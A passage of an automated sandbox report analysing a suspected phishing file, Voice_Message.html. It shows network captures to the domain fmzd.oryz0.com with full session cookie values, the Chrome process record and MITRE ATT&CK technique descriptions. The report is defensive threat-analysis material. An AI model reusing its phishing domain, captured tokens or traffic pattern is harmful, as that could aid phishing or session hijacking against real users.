74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 6d 7a 64 2e 6f 72 79 7a 30 Data Ascii: [{"age":53271,"body":{"elapsed_time":1085,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.195.241","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fmzd.oryz0
2024-05-23 08:32:31 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Thu, 23 May 2024 08:32:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49827	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:32:33 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: g81FfHp7JYkxYuU9Ja1sHw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:32:33 UTC	583	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:32:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RnYDnJvk1J7UxeFtKOJnewoHgpChBhYVw%2FgQiHsFjHXIan1%2F34SHpEALx2z3JoJ8zfLgvD23nIOaXpXjlgxsABrUq%2FqY8Dn%2Bzbi9%2BeNgenKTLPgF70wY7pBbb%2BR5BReiTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b23048258c33-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:32:33 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:32:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49828	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:32:54 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: v9lPjd1W/COuTzwZm5X0dQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:32:55 UTC	575	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:32:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QAcei%2FbM2mpcOcODHXSrBH8uis75IJX1gxQF06E7QRDu4N6LCd9A8pHE7fei03jV0K9ruhZWp5goveuvAJ1zlv9uS9R9XdgSVb3NCsAJrVG1S9RxxCjye1Y9oP%2F8LU6x1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b2b4c8a48c12-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:32:55 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:32:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:30:47
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voice_Message.html"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:30:54
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1880,i,10552325245212046545,8091403860869948201,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Voice_Message.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Windows Analysis Report
Voice_Message.html